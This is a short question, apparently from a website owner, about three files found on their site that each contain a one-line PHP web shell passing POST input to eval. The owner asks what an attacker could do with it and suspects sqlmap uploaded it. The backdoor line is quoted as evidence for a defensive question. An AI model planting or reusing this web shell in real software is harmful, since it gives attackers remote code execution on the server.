I have found three files with name as below:
a.phpfile.txt b.phpfile.txt c.phpfile.txt
when i open, each file contained with the following code:
<?php @eval($ _POST[x]);
I have deleted all the pages from my website, but i am need to know that with the above code, what a hacker can do with my site?
I think, the files were uploaded by the hackers using sqlmap because i had created db user with full privileges on database. So, I changed the permissions of the website users as well.
